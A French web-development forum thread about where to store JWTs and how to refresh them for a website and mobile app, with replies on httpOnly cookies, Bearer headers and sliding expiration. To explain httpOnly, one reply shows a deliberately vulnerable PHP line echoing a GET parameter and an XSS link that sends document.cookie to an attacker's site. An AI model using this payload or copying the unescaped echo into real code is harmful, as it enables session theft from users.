Authentification à l'aide des JWT

API WEB

a marqué ce sujet comme résolu.

Bonjour à tous et à toutes,

Je viens faire appel à vous car depuis plusieurs mois, je bloque sur un soucis d’authentification. Je souhaite sécuriser mon site web, une application mobile ainsi que mon API web qui rend le tout un peu plus vivant.

Au fil des semaines, j’en ai appris de plus en plus sur l’authentification. OpenID, OAuth2 ainsi que les JWT qui semblent être utilisés dans ces deux premières techniques.

J’ai donc choisi d’utiliser les JWT pour authentifier les utilisateurs et donc, leur donner des autorisations…ou non.

Actuellement, ma méthode d’authentification pour un site web fonctionne. Mais je suis très moyennement convaincu de sa mise en place.

Le soucis aussi est le fait de devoir utiliser des cookies en mode "httpOnly". Donc interdits aux langages de script tels que JavaScript. Cela dit…en regardant de plus près, les quelques sites que j’ai vérifié (minecraft.net) et quelques autres n’utilisent pas cette propriété…Je ne comprends pas pourquoi du coup, surtout qu’ils ne semblent pas transmettre les données en JavaScript, mais pas des cookies…Donc "httpOnly" devrait être à "true"…

Actuellement, lorsque je vais sur une page qui charge des éléments à l’aide de mon API (avec XmlHttpRequest) et que mon jeton a expiré le PHP se charge de le rafraichir aussitôt sans prévenir le client et effectue un "setCookie" pour ensuite utiliser les jetons (JWT et Refresh Tokens) tout fraichement créés.

Ce que j’aimerais faire ce serait de créer un système d’authentification qui soit commun à mon site ainsi qu’à l’application mobile.

J’ai donc pensé utiliser le JavaScript afin de mettre les jetons de la façon suivante lors de ma requête HTTP : HTTP REQUEST -> Header = Authorization : Bearer <MON JETON>

Mais non ! Car mon JavaScript n’a pas accès au jeton pour une question de sécurité. Et ça m’embête vraiment. Et j’ai trouvé quelques forums anglais qui parlent de ce soucis…mais les réponses ne sont jamais très claires.

https://community.auth0.com/t/isnt-storing-a-jwt-in-a-non-httponly-cookie-just-as-insecure-as-local-storage/33922 https://security.stackexchange.com/questions/179498/is-it-safe-to-store-a-jwt-in-sessionstorage

J’ai beaucoup de mal à comprendre les enchaînements d’étapes :

  • J’accède à une ressource protégée (on passe le JETON dans un entête ou dans un cookie)
  • Jeton invalide détecté.
  • Création d’un nouveau jeton grâce au "refresh token". Et là ? Je renvoie une réponse au format JSON pour que le client puisse agir selon le cas (token valide et données récupérées ou token invalide et erreur retournée) afin de le stocker dans le navigateur (localStorage/sessionStorage) Ou bien je me débrouille différemment avec des cookies "httpOnly"…donc sans JavaScript.

Je suis en train de me noyer dans des tonnes d’onglets et d’informations sans jamais vraiment avancer… C’est tellement frustrant.

Je vois qu’il est déconseillé (à utiliser que si l’on connait les risques) d’utiliser le "localStorage" et "sessionStorage" en JavaScript pour le stockage de jetons JWT…Sauf que comme je l’ai mentionné plus haut, certains sites connus ou professionnels n’utilisent pas le fameux "httpOnly". Donc l’utilisation du JavaScript devrait être possible puisque les jetons sont accessibles à n’importe quel script malicieux…

A votre avis, dois-je utiliser les cookies à tout prix pour le WEB et le Mobile (j’ai vu que ça existe dessus) ? Il semble que dans ce cas là, il faille utiliser un jeton CSRF pour protéger notre cookie. Ou est-ce que je peux m’autoriser à simplifier mon développement en utilisant le JavaScript et l’entête Authorization Bearer <MON JETON> et effectuer quelque chose de semblable pour une application mobile ?

Bref…j’ai selon moi eu à faire à de nombreuses contradictions lorsque j’ai mis en place mon système d’authentification…

Comment feriez-vous pour gérer ses soucis de JavaScript, de "httpOnly" et pour le rafraichissement de jetons ? Ou stockeriez-vous les jetons ?

Si vous avez besoin d’explications ou d’éclaircissements, n’hésitez pas. Ça fait sans doute fouillis et ça l’est aussi dans ma tête…

Merci infiniment pour votre aide. A bientôt !

+0 -0

Bonjour,

L’utilisation du flag httpOnly sur les cookies a pour but d’empêcher le vol de cookies (par exemple, leur envoi vers un site externe par un attaquant) dans le cas d’une faille XSS.

Imaginons que tu fasses une page avec ceci :

<?php
    echo $_GET['parametre'];
?>

Si une personne mal intentionnée fait cliquer quelqu’un sur un lien dont l’adresse est, par exemple, http://ton-site/?parametre=<script>location.href="http://site-de-l-attaquant/"+document.cookie</script>, alors, sans flag httpOnly, la personne ciblée par l’attaque pourra se voir voler ses cookies qui atterriront dans les logs du site de l’attaquant. L’attaquant pourra alors lui voler son compte, etc. jusqu’à que le cookie ne soit plus valide.

Bien entendu, des contre-mesures peuvent entraver ce scénario :

  • Le navigateur de l’utilisateur dispose d’un filtre heuristique censé bloquer l’exécution des scripts en cas de faille XSS potentielle (Chrome nativement depuis quelques années et Firefox avec l’extension NoScript depuis plus longtemps), à condition que le code de l’attaque soit retranscrit tel quel dans l’argument à page et la réponse HTTP (ça ne marchera potentiellement pas s’il y a un Base64 ou autre traitement sur l’argument par exemple)
  • Si tu as configuré l’en-tête Content-Security-Policy et ses amis sur ton serveur, la marge d’exploitation des failles XSS est plus limitée.
  • La plupart des moteurs de templates aujourd’hui t’empêchent de rendre du code HTML dans une template sans l’échapper, sauf si tu le demandes explicitement.

Malgré tout, cela peut ne pas suffire ou ne pas être complètement en place et l’utilisation de httpOnly demeure alors une sécurité supplémentaire. Cela te protège aussi des attaques plus sophistiquées ou inattendues (XSS persistante, régie de pub compromise, etc.).

Si Minecraft ne l’utilise pas, c’est que leur site marche malgré tout sans, ce qui est normal…

Pour ton application, je dirais que la meilleure pratique en matière de sécurité est d’utiliser Authorization: Bearer sur ton application native et des cookies dans le navigateur, ou alors d’utiliser les cookies sur les deux (ça reste un en-tête à envoyer en plus sur mobile, ce n’est pas particulièrement compliqué), le reste est possible mais relève du compromis.

Bonne journée,

+2 -0

Bonjour. Merci de ta réponse !

Donc httpOnly est quand même une sécurité qu’il peut être préférable d’ajouter malgré tout. Cela exclu donc l’utilisation du JavaScript pour le navigateur pour la gestion des jeton.

J’ai essayé justement de configurer mon serveur Apache afin qu’il prenne en compte l’en-tête Content-Security-Policy entre autres. Merci d’ailleurs à ce site qui m’a bien aidé : https://securityheaders.com/. Ça peut aider d’autres personnes.

D’accord, j’avais justement commencé à créer deux "façons différentes" de s’authentifier sur mon API. Ce que tu dis me rassure un peu du coup.

Donc jusque là, je ne change rien à l’authentification de mon site il me semble.

Après, ce que je souhaiterais faire, c’est un programme en Java qui me permette de gérer l’authentification et les renouvellements.

[Après quelques gribouillages sur une feuille blanche…]

Bon, tu m’as convaincu à partir dans une direction qui me plait. Je vais essayer de mettre en place ce ch’tit serveur en Java pour gérer l’authentification des utilisateurs.

Je veux essayer de reproduire ce schémas là : image.png

Donc, on peut dire qu’elle représente le fonctionnement pour une application mobile.

Je vais essayer de faire la même chose pour le site WEB, mais avec des cookies.

Merci beaucoup de m’avoir donné une direction ou aller. Ça m’évite d’être comme une girouette et de m’éparpiller. ^^

Je vais commencer ça de suite. Et si j’y arrive, je reviendrai vers toi/vous.

La seule difficulté sera de faire :

  • J’envoie une requête. Ok. (Mon jeton est expiré)
  • Je reçois une réponse qui m’informe que mon jeton a expiré. Ok.
  • Je refais donc une requête, vers le serveur d’authentification. Et là, ça se complique un peu.
  • Je reçois le nouveau Jeton…
  • Je ré-effectue une requête pour obtenir la donnée initiale.

Donc lorsque le jeton est valide, 1 requête suffit. Mais lorsqu’il est expiré…3 requêtes seront nécessaires…

Cela te paraît-il correct ?

Merci encore pour ton aide. Bonne soirée à toi.

+0 -0

L’idée du JWT est de ne pas attendre qu’il soit expiré pour le renouveler.

La procédure standard est la suivante :

  1. Tu as un endpoint d’authentification, qui prends des credentials standard (je n’ai plus le terme français sous la main) (type login / mot de passe) et te renvoie un JWT, avec une expiration courte.
  2. Chaque requête que tu fais au serveur en lui passant un JWT valide renvoie un nouveau JWT avec la date d’expiration mise à jour dans ses métadonnées. Comme ça, tant que l’utilisateur utilise activement l’application (et donc qu’il fait des requêtes), il reste automatiquement connecté.
  3. Dans le cas d’une application, si elle est en premier plan mais sans requêtes, tu peux avoir un système qui interroge le serveur de temps en temps juste pour rafraichir le JWT (un endpoint qui ne fait rien mais qui renvoie un jeton tout neuf). Évidemment le temps de rafraichissement doit être inférieur à la durée de vie du JWT :)
  4. Si le JWT est arrivé à expiration, tu as plusieurs stratégie. La plus simple et sécurisée (mais aussi la plus intrusive) est celle qui consiste à :
    1. Demander à nouveau ses credentials à l’utilisateur,
    2. Rappeler l’endpoint de connexion pour récupérer un JWT valide,
    3. puis relancer automatiquement la requête qui a échouée.

Beaucoup de frameworks de gestion réseau modernes ont des astuces pour automatiser tout ça, notamment des méthodes à appeler automatiquement au résultat d’une requête (pour mettre à jour le JWT stocké localement, point 2) ou pour intercepter une erreur particulière (typiquement une HTTP 401 pour le point 4)

D’autre part :

Après, ce que je souhaiterais faire, c’est un programme en Java qui me permette de gérer l’authentification et les renouvellements.

Utilise les framework qui font ça pour toi. Il y en a de très bien, notamment avec Spring Boot ou Quarkus, et ça t’évitera de faire un truc non sécurisé par mégarde, par exemple en créant un JWT non signé.

Bonsoir !

Désolé pour ma réponse tardive.

Je n’ai jamais fait attention qu’il existait cette méthode. Elle m’intéresse aussi.

Pour le point n°2, je n’ai pas compris comment un nouveau jeton est généré. La première fois, c’est le endpoint qui va s’en occuper (point n°1). Il se chargera de signer le jeton je crois (secret ou clef privée). Mais lorsque l’on appelle une "page" de notre API, ce n’est plus l'endpoint (Auth Server) que l’on interroge, mais un autre serveur, non ? Dans l’image que j’ai envoyé plus en haut, c’est l'API Server il me semble. Celui-ci est normalement seulement capable de vérifier la signature du jeton grâce à un secret ou une clef publique. Comment faire pour générer un nouveau jeton du coup en dehors de l'endpoint ?

De ce que je comprends avec le point n°4, tu n’utilises pas de jeton de rafraîchissement. Remarque…je trouve peut-être cette méthode meilleure. Le jeton de rafraîchissement, dans mon esprit donnait une "autorisation à vie pour un utilisateur"… Alors que le tien devra ré-entrer son mot de passe. Je trouve cela plus sécurisé.

Ce type de framework m’intéresse. Je n’ai pas vraiment eu l’idée de chercher vu que je ne savais pas trop quoi chercher. Je vais regarder ce qu’il peut exister. Ah, je ne connaissais pas Quarkus ! Je ne sais pas vraiment ce que ça fait par rapport à Spring, mais la présentation qui en est faite est intéressante.

Par contre, justement, ces deux derniers jours, je me suis intéressé à Spring. Je ne sais pas trop par où commencer, mais j’espérais qu’il pouvait m’aider pour ce type de problème. Je vais creuser plus loin avec les informations que tu m’as donné. ^^

Merci pour ton aide !

PS : Je viens de redécouvrir l'API Fetch pour le JavaScript. Elle pourrait sans doute me permettre de créer plus facilement des requêtes à la chaîne je pense. :)

PS 2 : Je pense que je devrais aussi essayer de distinguer les jetons créés pour le mobile et pour le WEB. Ça devrait m’aider à les traiter. Par exemple, lorsque l’utilisateur effectue la première requête de connexion. Je pourrais faire un POST deviceType=[Mobile | WEB]

EDIT : Je me suis renseigné à propos de la méthode sliding expirations. C’est de elle dont tu semblait parler pour le rafraîchissement des jetons. Donc par exemple, à la moitié de la durée de vie du token, je dois demander au serveur d’authentification de recréer un nouveau jeton. Je comprends un peu mieux la chose. :honte: Je vais continuer à chercher.

Aussi, j’ai réussi à créer un semblant de serveur d’authentification avec Spring et Rest. Je dois continuer dans ma lancée. :lol:

Je reviendrai donner des nouvelles.

+0 -0
Connectez-vous pour pouvoir poster un message.
Connexion

Pas encore membre ?

Créez un compte en une minute pour profiter pleinement de toutes les fonctionnalités de Zeste de Savoir. Ici, tout est gratuit et sans publicité.
Créer un compte